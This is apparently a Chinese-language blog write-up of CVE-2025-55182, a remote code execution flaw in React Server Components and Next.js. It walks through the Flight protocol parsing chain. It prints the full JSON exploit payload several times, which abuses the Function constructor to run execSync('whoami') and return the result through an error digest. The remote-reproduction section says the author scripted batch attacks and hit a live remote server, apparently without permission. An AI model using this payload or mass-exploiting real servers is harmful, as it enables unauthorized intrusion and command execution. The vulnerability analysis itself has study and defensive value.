目录
前置知识
漏洞分析
Part1
Part2
Part3
漏洞复现
本地复现
远程复现
其他思考
很好的语言,使你的漏洞旋转😂
前置知识
RSC
RSC(React Server Components,React 服务器组件)是一种 React 的新型组件模型,由 Meta团队提出并集成到现代 React 框架(如 Next.js)中。它的核心目标是将部分组件的渲染工作从客户端转移到服务器端,从而提升性能、减少客户端 JavaScript 包体积,并增强安全性。
从这个角度来看,很类似古老的php和jsp🤔
不再是从后端取json回前端渲染,而是后端处理后直接返回一个html界面
thenable
当你执行 resolve(x) 时,JavaScript 引擎不会直接把 x 当作最终值,而是先检查 x 是否是一个 thenable(即具有 .then 方法的对象)。如果是,就一直递归执行下去,直到没有then。
Flight协议
React Flight是一种基于 JavaScript 可序列化格式(通常是 JSON-like 的流式文本)的组件与数据传输机制,主要用于 RSC 场景下,在服务器和客户端之间高效传输 UI 结构和数据。
一些特殊引用:
| Chunk 引用 |
|
| FormData 引用 |
|
| Blob 引用 |
|
漏洞分析
Part1
RSC根据 Content-Type(multipart/form-data 或其他)选择相应的解码器:multipart/form-data 使用 decodeReplyFromBusboy
这段代码使用 Busboy 解析 multipart 表单流(含文件和字段),将其转换为 React Flight 协议可消费的内部响应对象,并返回一个 Promise 以获取最终解析结果,用于支持 Server Actions 中的文件上传。
busboy 的事件监听器收到数据修改时就会自动触发 resoveField()
最终getChunk返回一个Chunk
关注resolveField() ,内部调用resolveModelChunk()
resolveModelChunk内部调用initializeModelChunk
来看initializeModelChunk实现
对chunk.value进行json反序列化,然后将反序列化后的值作为value传给reviveModel
调用reviveModel
调用parseModelString
其实就是根据Flight协议去对特殊符号解引用,算是某种意义上的“反序列化”
Part2
再来看Chunk.prototype.then的实现
当status为resolved_model时,调用我们熟悉的initializeModelChunk
去根据Flight协议“反序列化”,和Part1的流程一样,不赘述
Part3
来对照payload看,共涉及三次解析
payload用的:https://github.com/msanft/CVE-2025-55182
注意首先要用Next-Action去指定为Server Action请求
这里$1被指向了$@0,也就是name="0"的Chunk引用
第一次解析
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
$1:__proto__:then被解析为Chunk.prototype.then
$1:constructor:constructor被解析为Function构造方法(理解很直观,chunk的构造方法本身是个方法,所有方法的构造方法,都是Function)
最终被解析为
{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}
第二次解析
{"then": Chunk.prototype.then, "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}
调用Chunk.prototype.then
这里重点来看$B是怎么处理的
其实就是对传入的数从16进制转成10进制,再与prefix拼接
而传入的prefix是一段恶意代码
var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});传入的_formData.get也被污染为了Function构造方法
Function("var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0")解析成一个恶意匿名函数
function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}最终整体被解析为
{"then": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}, "status": "fulfilled", "reason": -1, "value": "{\"then\": function anonymous(){var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});0}}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync('whoami',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": Function}}}
第三次解析
此时发现还有then
就去执行then里的恶意匿名函数,从而达成RCE
漏洞复现
poc:https://github.com/msanft/CVE-2025-55182
本地复现
npm create next-app@16.0.6cd test npm run dev搭建好的首页
远程复现
写个批量脚本
远程抓一个打一下
其他思考
其实对"then"的赋值用不用prototype/__proto__都行,因为chunk.then全局没有定义,自然会去找其原型类的then方法调用